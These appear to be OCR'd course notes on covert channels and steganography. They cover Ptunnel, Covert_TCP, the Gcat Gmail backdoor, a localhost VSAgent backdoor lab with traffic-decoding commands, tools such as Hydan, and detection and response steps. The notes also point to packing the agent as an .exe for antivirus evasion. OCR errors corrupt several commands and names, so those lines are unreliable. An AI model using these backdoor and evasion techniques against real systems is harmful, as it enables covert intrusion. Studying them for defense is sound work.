From a network perspective, only ping packets (with the TCP packet as the payload) are being sent. The Ptunnel proxy then de-encapsulates the TCP packet and forwards it to its ultimate destination simply using TCP. Likewise, the Ptunnel proxy encapsulates any responses that come back from that destination into ICMP Echo Reply packets, forwarding them back to the client.  
The Ptunnel proxy can be configured to authenticate the Ptunnel client, using an MD5-based challenge/response authentication algorithm. Currently, Ptunnel does not support encryption. However, if the application using the TCP-based connection encrypts the data (such as HTTPS or SSH), the attacker would have some degree of protection of the data.  
  
  
Covert Channels in TCP and IP Headers:  
  
- why not just create a covert channel using extra space in the TCP or IP header?  
- Covert\_TCP is one tool that implements a covert channel using either the TCP or IP header.  
  
Extending the Ideas of Covert\_TCP:  
• Transfer Trojan Horse backdoor commands or shell instead ofjust files  
• Bi-direcfional bounce attack  
• Use other fields in the TCP, IP, and ICMP headers  
— Reserved space  
— IP options  
— ICMP message type  
  
Other Covert Channels:  
• Just about any protocol can be used as a covert channel  
•DNS  
— DNSCat2 by Ron Bowes and numerous other maiware specimens  
• Quick UDP Internet Connection (QUICK)  
— Use of multiplexed UDP connections for connections  
• Stream Control Transmission Protocol (SCTP)  
— Also uses multi-streaming to send data across multiple concurrent connections  
— Supports multihoming so multiple endpoints can be used as failover  
— Yeah, this means it has built-in C2 server failover  
• The goal of attackers using odd protocols for transfer is to find new areas where existing signatures do not exist  
• Also, there are some issues with reassembly across multiple concurrent streams of data being sent.  
  
  
Gcat:  
Full C2 backdoor where all Command and Control traffic flows over Gmail.  
• Originally created by Ben Donnelly of BHIS  
• Currently maintained by byt3bl33d3r  
• Supports:  
— Command execution  
— Screenshots  
— Download and upload of files  
— Keylogging  
- Execution of sheilcode  
• Bypasses many DLP/ID$/IPS systems  
• Many IDS/IPS/Firewalls are not monitoring Gmail traffic very well  
• https://github.com/byt3bl33d3r/gcat  
  
Covert Channel Defenses (I):  
• Preparation  
— Keep attackers off system in the first place  
• Identification  
— Know what processes should be running on your systems  
• When a strange process starts running, investigate  
• Especially if it has admin/root privileges  
— Network-based IDS can analyze packets for:  
• Shell commands in HTTP (for reverse www shell)  
• Unusual data in ICMP messages (for ICMP tunnels)  
— false positives associated with network management equipment  
• Unusual changes in IP ID and Seq/Ack fields (for Covert\_TCP) — pretty hard to do.  
  
  
Lab: Covert Channels:  
  
Plain Sight Covert Channels  
• Not all backdoors use plaintext to transmit data  
• Many use other protocols  
— HTfP8  
- IPSEC  
- DNS  
• Others hide in plain sight  
— For example, HTTP  
  
• Every custom web application has data and fields that are encoded and transmitted differently  
- For example, session parameters, hidden form elements, etc.  
• It is almost impossible for full inspection of all these different variables  
• Let’s take a look at a backdoor that uses this technique  
• It also beacons at 30-second intervals  
- a very common technique for modern malware.  
  
  
  
VSAgent (I):  
• Custom backdoor written by the Black Hills Information Security team  
— Special 504 version wntten by Luke Baggett  
• Encodes all Command and Control (C2) in base64  
• Then, inserls it into a WEW$TATE parameter  
• The encoded data is sent in the clear  
• Very difficult to detect  
  
If, for any reason, you need to remove results from a previous session please feel free to run the following command and restart vsagent:  
#rm /opt/course\_www/SEC5O4/vsagent-504/data.db  
  
  
VSAgent (II):  
rootslingshot# python /home/sec56e/CourseFiles/vsagent-504/vsagent-504.py http://127.O.,O.1/SEC5O4/vsagent—504/vssvc.php  
  
  
Open another prompt and  
sec504@slingshot:~$ firefox http://192.168.159.131/SEC504/vsagent-504/vsgui.php

Now, we will use Firefox to connect to the web UI for VSAgent.  
  
  
#tcpdump -i lo -s0 -A host 127.0.0.1 | grep VIEWSTATE  
  
  
Challenge!  
Lab: Covert Channels  
• Run some commands and decode the data  
• Hints:  
— The data is base64 encoded  
— There are characters that are hex-encoded characters (Le., linefeed, =, etc.). which can pollute the decoding of the base64 data  
• The offending characters will need to be removed or converted!  
• awk gsub is your friend!  
— $ echo cat dog dog | awk ‘{gsub(/cat/,”dog”)}1’  
— Will output dog dog dog  
• Base64 --decode will decode the data  
• It should look something like this:  
— $ echo <paste your string here> | <awk command here> | <Base64 decode here>  
• But, there is more than one path!  
— Ruby! Python! Perl!  
• Don’t forget to use the man pages!!  
  
  
One Possible Solution:  
rootsllngshot :-# echo eyJjb%1tYW5kcyI6IFtdLCAiYWUThnQiOiAiMDA6MGM6Mjk6Nzk6M%U6NTkifQ3D%3D | | awk '{gsub(/%0A/,""); gsub(/%3D/,"=")}1' | base64 --decode;  
  
In Conclusion  
• Detecting and decoding covert channels can be hard  
• However, with a little work, we can peer into the commands of the bad guys  
• Please try out this tool at work  
— With permission, of course  
• You can convert the python script to .exe with tools like pylnjector, pyinstaller, and py2exe.  
  
You can convert the python into a .exe and get real fancy with tools like pyinstaller, pyInjector, and py2exe. The following link is an article on how to do this by Mark Baggeft (Luke’s dad):  
http://pen-testing.sans.oru/blog/pen-testing/2013/07/12/anti-virus-evasion-a-peek-under-the-veil.  
  
  
  
Covert Channel Defenses:  
• Containment  
— Delete attacker’s program  
— Look for program on other systems  
• Eradication  
— If attacker compromised admin/root account, rebuild  
system  
• Recovery  
— Monitor system very closely  
  
############################  
  
  
Steganography (Stego):  
• Steganography abbreviated as stego, not to be confused with stenography  
• Involves concealing the fact that you are sending “sensitive” information  
• Data hiding  
• Can hide in a variety of formats  
- Images  
  • BMP, GIF, JPEG  
— Word documents  
— Text documents  
— Machine-generated images  
(fractals, complex words of animals/flowers/people...)  
  
  
Sample Stego Tools:  
• The following are some example programs:  
— Jsteg — hides in jpeg images using the DCT coefficients  
— MP3Stego — hides in mpeg files  
- S-Mail — hides data in exe and dil files  
— Invisible Secrets — hides data in banner ads that appear on websites  
— Stash — hides data in a variety of image formats  
— Hydan — hides data in UNIX/Linux and Windows executables  
  
  
More Stego Tools:  
• There are a number of excellent tools for hiding data in a variety of different formats  
• Open$tego — Embeds data and digital watermarks into images  
• SilentEye Embeds encrypted data and other files into JPEG, BMP, and WAVE formats  
• OpenPuff — Great support for images, audio, video, and flash-Adobe files  
- Also supports multipassword support  
- Plausible deniability  
- Multiple rounds of encryption with different algorithms for additional stego tools, check out the following site:  
— http://stegano.net/tools  
  
  
Setgo Example — Hydan:  
• Hydan hides data in executables written for 1386  
— Written by Rakan E1-KhalIl  
- Supports \*BSD, Linux, and WinXP Øp  
— http://www.crazyboy.com/hydan/  
• Start with an executable, as well as message to hide  
• Feed both through Hydan  
• Hydan encrypts the data with blowfish with user-provided passphrase, and then embeds the data  
• Result: one executable, same size  
• Take the resulting executable... it’ll still run  
• However, by sending it back through Hydan, the original message can be recovered.  
  
  
How Hydan Hides Info:  
• First off, it just encrypts the message using blowfish  
• Next, it uses polymorphic coding techniques to hide the data  
• Hydan has several groups of functionally equivalent instructions  
— Add X, Y versus Sub X, -Y  
• By choosing an instruction from one group, we get a “zero” bit  
• By choosing an instruction from another group, we get a “one” bit  
• Just encode all the bits like that!  
• Then, rewrite the polymorphic executable.  
  
  
Efficienty Rate and Detection:  
• Hydan can hide one byte of data in approximately 150 bytes of code  
• It does alter the statistical pattern of instructions in a program  
— Think about how often you subtract a negative number (X minus —22)  
— Usually, you just add (X plus 22)  
— Therefore, there’s a possible signature here,..  
• Consider a histogram of instructions and how it would change  
• Craig S. Wright developed a tool for detecting these anomalies to identify “Hydanized” executables  
— Described at http://www.sans.org/reading\_room/whitepapers/stenganography/detecting-hydan-statistical-methods-classifying-hydan-based-stegonagraphy-execut\_32839  
  
  
  
Detecting Stego:  
• StegExpose: Java utility to detect stego in lossless images where Least Significant Bit (LSB) techniques  
— This stego is where the least significant bits, which determine color, are modified  
— This leads to a very slight (think imperceptible) change of color made to the original image  
• Supports a number of different “detectors” or mathematical analysis techniques to detect stego  
• For quick analysis, it can also use “cheap” or quick analysis methods to detect the presence of stego  
• Has the ability to run on a large number of files very quickly  
• It can be found here:  
— https://github.com/b3dk7/StegExpose  
  
  
  
  
Defending Against Stego (I):  
• Preparation  
— Get familiar with stego tools  
— Look for changes to critical web server files (file integrity-checking tools)  
• Identification  
— If you have the original source image, detection is easy  
• Perform a cliff or file comparison and see whether they are different  
• MD5 or SHA-; hashes can help  
• Stego might not change the size or make any observable changes, but it does change the data  
  
  
Defending Against Stego (II)  
  
•Identification  
— If you are working an HR or legal case, take direction from your legal team  
• Many times, this will involve watching a suspects system for an extended period of time  
• Remember S-Tools changes the number of near-duplicate colors  
• Not easy to do  
• Usually requires determining statistics or large number of clean files to come up with unique properties  
• Containment  
— Work with law enforcement and HR  
• Erad, Recov: Work with your company’s legal team.  
  
  
Putting It All Together:  
• We’ve discussed each of these tools on a one-byone basis  
• The tools are seldom employed this way  
• They are often used together in very elaborate schemes to effectively undermine the security of an organization  
• We now go through two structured sample attacks, drawing on the ideas and tools we discuss throughout the course.  
  
Mistake Number 10:  
- this scenario could be written because of the data retrieved from logs.  
- the information associated with the intrusion was available, but it was not analyzed until after the damage was done.  
- we need to be proactive about log analysis.  
  
  
References:  
• Numerous podcasts provide in-depth information about security  
— Security Weekly Podcast:  
http://www.securityweekly.com  
— Network Security Podcast: http://mckeay.libsyn.com  
— Securabit Podcast: http://securabit.com  
— Data Security Podcast:  
http://datasecurityblog.wordpress.com  
  
  
#########################################